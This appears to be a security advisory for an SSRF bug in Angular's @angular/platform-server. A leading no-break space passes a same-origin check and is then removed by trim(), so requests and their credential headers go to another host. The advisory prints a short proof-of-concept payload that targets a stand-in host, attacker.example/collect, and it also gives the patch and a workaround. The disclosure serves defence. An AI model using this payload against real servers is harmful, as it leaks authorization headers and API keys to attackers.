CVE-2026-88056: @angular/platform-server SSRF via Unicode Whitespace Trim Bypass
A leading no-break space in a URL fools Angular SSR's same-origin check, and a trim() call then strips it, turning a safe-looking path into a cross-origin request that leaks server-side credentials.

The problem
Angular SSR's resolveUrl and parseUrl helpers called String.prototype.trim() on incoming URLs before resolution. An attacker can prefix a URL with a Unicode whitespace character such as U+00A0 (NO-BREAK SPACE) or U+FEFF (ZERO WIDTH NO-BREAK SPACE).
When the application validates the URL with new URL(input, trustedOrigin), WHATWG parsing treats the whitespace as part of a same-origin relative path, so the check passes. Angular's trim call then strips the character, collapsing the string into a protocol-relative URL.
The SSR HTTP interceptor (relativeUrlsTransformerInterceptorFn) resolves that URL against the attacker-controlled origin and sends the request there, including any Authorization or API-key headers the application attached.
Proof of concept
A working proof-of-concept for CVE-2026-88056 in @angular/platform-server, with the exact payload below.
// Request URL supplied by the attacker (U+00A0 = NO-BREAK SPACE, encoded as %C2%A0)
// The leading NBSP makes WHATWG URL treat this as a same-origin relative path:
// new URL('\u00A0//attacker.example/collect', 'http://localhost:4000/')
// => http://localhost:4000/%C2%A0//attacker.example/collect (passes origin check)
//
// Angular's trim() then strips \u00A0, leaving //attacker.example/collect,
// which resolves to http://attacker.example/collect (SSRF)
const attackerUrl = '\u00A0//attacker.example/collect';
// Application-level same-origin check (passes - WHATWG does NOT strip U+00A0)
const trustedOrigin = new URL('http://localhost:4000/');
const target = new URL(attackerUrl, trustedOrigin);
console.log(target.origin === trustedOrigin.origin); // true - check bypassed!
// Angular SSR then trims before resolution:
const trimmed = attackerUrl.trim(); // => '//attacker.example/collect'
console.log(new URL(trimmed, trustedOrigin).href);
// => 'http://attacker.example/collect' - request routed to attackerThe root cause is a behavioural mismatch between WHATWG URL parsing and JavaScript's String.prototype.trim(). WHATWG does not strip Unicode whitespace characters like U+00A0 from URL input, so new URL('\u00A0//attacker.example/', base) resolves as a same-origin path.
JavaScript's trim(), however, does strip U+00A0, so the leading whitespace disappears after the check, leaving a bare protocol-relative URL that resolves to the attacker's host.
The patch commit ("avoid stripping unicode whitespace during url resolution") removes the trim() call from resolveUrl and parseUrl, so the raw input is passed directly to new URL() at every stage. This eliminates the parsing split and closes the bypass.
CWE-918 (Server-Side Request Forgery).
The fix
Upgrade @angular/platform-server to 20.3.30, 21.2.22, or 22.1.4 (or later). As a short-term workaround, reject any incoming URL whose raw string contains leading Unicode whitespace (U+00A0, U+FEFF, etc.) before performing origin checks or passing it to HttpClient.
Do not rely on new URL(input, base).origin alone for authorization when the input may be separately trimmed or normalised.
Reported by alan-agius4 (Angular team).
Related research
- highCVE-2026-88060CVE-2026-88060: @angular/platform-server SSR XSS via Unescaped Template Content Across DocumentFragment Boundaries
- highCVE-2026-69149CVE-2026-69149: @angular/platform-server SSR Fallback Raw-Content XSS
- highCVE-2026-86082CVE-2026-86082: n8n OpenAI Chat Model Node SSRF via Unguarded Model-Search Endpoint
- high · 8.2CVE-2026-65842CVE-2026-65842: @platejs/docx-io Server-Side Request Forgery via Remote Image Fetch